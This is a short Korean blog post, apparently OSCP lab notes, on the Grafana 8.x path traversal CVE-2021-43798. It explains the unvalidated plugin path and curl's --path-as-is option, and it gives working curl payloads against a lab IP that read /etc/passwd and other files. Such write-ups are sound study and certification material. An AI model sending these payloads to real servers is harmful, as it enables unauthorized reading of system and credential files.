๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Tried. Failed. Logged.
๐ŸดCTF/OSCP

OSCP - 9.1. Directory Traversal, Labs CVE-2021-43 --path-as-is ์ทจ์•ฝ์ 

by Janger 2025. 7. 21.
728x90

 

๊ฐœ์š”

Grafana 8.x ๋ฒ„์ „์—์„œ ๋ฐœ์ƒ ํ•˜๋Š” Path Traversal ์ทจ์•ฝ์ ์ด๋‹ค. 

ํ”Œ๋Ÿฌ๊ทธ์ธ API ์—”๋“œํฌ์ธํŠธ์˜ ๊ฒฝ๋กœ์— ๋Œ€ํ•œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ๋ฏธํกํ•˜์—ฌ ์„œ๋น„์Šค ์˜์—ญ ์™ธ์˜ ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋“ฑ์— ์•ก์„ธ์Šค๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋œ๋‹ค. 

 

๋ฌธ์ œ์˜ ์ฝ”๋“œ : https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

 

์ฐธ๊ณ 

https://github.com/taythebot/CVE-2021-43798

 

GitHub - taythebot/CVE-2021-43798: CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)

CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth) - taythebot/CVE-2021-43798

github.com

 

 

curl์˜ --path-as-is ์˜ต์…˜

 

์›๋ž˜๋ผ๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ๋กœ๊ฐ€ ์ •๊ทœํ™”( normalization )๋ฅผ ๊ฑฐ์น˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณ€ํ™˜์ด ๋œ๋‹ค.

์˜ˆ์‹œ) http://example.com/foo/../bar -> http://example.com/foo/bar

 

curl์— --path-as-is ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด ์œ„ ๊ฐ™์€ ์ •๊ทœํ™”(normalization)๋ฅผ ๋ฌด์‹œํ•˜์—ฌ ์„œ๋ฒ„์— ๋ฌธ์ž ๊ทธ๋Œ€๋กœ(byte-for-byte) ์ „์†กํ•˜๊ฒŒ ๋œ๋‹ค. 

 

๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ๋กœ๊ฐ€ ๋“ค์–ด์˜ค๊ฒŒ ๋˜๋ฉด, ์„œ๋ฒ„๋Š” ๋ฐ›์€ ๊ทธ๋Œ€๋กœ ์ฒ˜๋ฆฌํ•˜๊ฒŒ ๋˜๋ฏ€๋กœ(๊ฑฐ๊ธฐ๋‹ค ์‚ฌ์šฉ์ž ์ž…๋ ฅ์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ๋ฏธํกํ•˜์—ฌ ์ž…๋ ฅ ๋ฐ›์€ ๋Œ€๋กœ ์ฒ˜๋ฆฌํ•จ) passwd ํŒŒ์ผ์„ ์ถœ๋ ฅํ•˜๊ฒŒ ๋œ๋‹ค. 

http://192.168.248.193:3000/public/plugins/welcome/../../../../../../../../etc/passwd

 

Payload
curl --path-as-is http://192.168.248.193:3000/public/plugins/welcome/../../../../../../../../users/install.txt
or
curl --path-as-is http://192.168.248.193:3000/public/plugins/alertlist/../../../../../../../../users/install.txt

 

 

728x90